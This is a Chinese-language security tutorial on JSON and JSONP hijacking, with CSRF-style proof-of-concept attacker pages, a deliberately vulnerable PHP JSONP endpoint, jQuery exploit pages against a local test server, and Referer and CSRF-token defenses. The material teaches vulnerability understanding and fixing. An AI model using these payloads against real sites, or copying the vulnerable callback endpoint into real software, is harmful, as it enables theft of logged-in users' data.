本文深入解析JSON与JSONP劫持的攻击原理,指出二者均属于CSRF攻击范畴。通过模拟攻击场景,说明攻击者如何利用Script标签或跨域特性窃取敏感数据。文章提供了验证HTTP Referer头及添加CSRF Token等核心防御措施,并附带PHP与jQuery的实战代码示例,帮助开发者理解并修复相关漏洞。
JSON劫持原理与攻击流程
JSON劫持
JSON劫持攻击(JSON Hijacking)在流程上与CSRF类似,但CSRF仅关注发送HTTP请求,而JSON劫持的核心目的是窃取敏感数据。
部分Web应用会将敏感数据以JSON格式返回至前端。若系统仅依赖Cookie验证请求合法性,攻击者即可利用类似CSRF的手法,向目标服务器发送请求,从而获取敏感信息。
例如,当用户已登录时,访问特定链接会返回JSON格式的用户信息。
http://www.test.com/userinfo
攻击者可在其控制的虚假页面中嵌入如下代码片段:
<script src="http://www.test.com/userinfo"></script>
若浏览器已登录目标网站(如www.test.com)且Cookie未过期,访问攻击者的虚假页面后,该页面即可获取JSON格式的用户敏感信息。这是因为Script标签会自动解析JSON数据并生成对应的JavaScript对象。随后通过
Object.prototype.__defineSetter__
该函数触发攻击者的恶意代码执行。
然而,此方法在新版Chrome和Firefox浏览器中已失效。
JSONP劫持机制与风险
JSONP劫持
JSONP是一种非官方协议,利用Script元素的跨域策略,允许网页获取其他来源动态生成的JSON数据,常用于实现跨域请求(相关参考:https://www.jb51.net/article/31167.htm)。
若Web程序通过此方式实现跨域,攻击者可在其虚假页面中发起恶意的JSONP请求,从而引发安全问题。示例如下:
<script>
function useUserInfo(v){
alert(v.username);
}
</script>
<script src="http://www.test.com/userinfo?callback=useUserInfo"></script>
若服务器端的userinfo接口支持JSONP,虚假页面即可成功执行useUserInfo函数,导致安全漏洞。
JSON与JSONP劫持的防御方案
解决方法
JSON劫持与JSONP劫持均属于CSRF(跨站请求伪造)攻击范畴,因此其防御方法与解决CSRF问题的方法一致。
1、验证HTTP Referer头信息; 2、在请求中添加CSRF Token并在后端进行验证;
关于CSRF攻击的更多详情,可参考博文:https://www.jb51.net/article/157550.htm
JSONP劫持实战代码示例
补充:JSONP劫持漏洞实例
getUser.php
<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>
Payload利用:
客户端实现callbackFunction函数
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
{
alert(result.name);
}
</script>
<script type="text/javascript" src="http://127.0.0.1/test/getUser.php?jsoncallback=callbackFunction"></script>
</body>
</html>
jQuery使用JSONP
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
<script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body>
<div id="divCustomers"></div>
<script type="text/javascript">
$.getJSON("http://127.0.0.1/test/getUser.php?jsoncallback=?", function(getUsers){
alert(getUsers.name);
});
</script>
</body>
</html>
以上为本文全部内容,希望对读者学习有所帮助,欢迎支持本站。版权声明:本文为博主原创文章,转载请附上博文链接!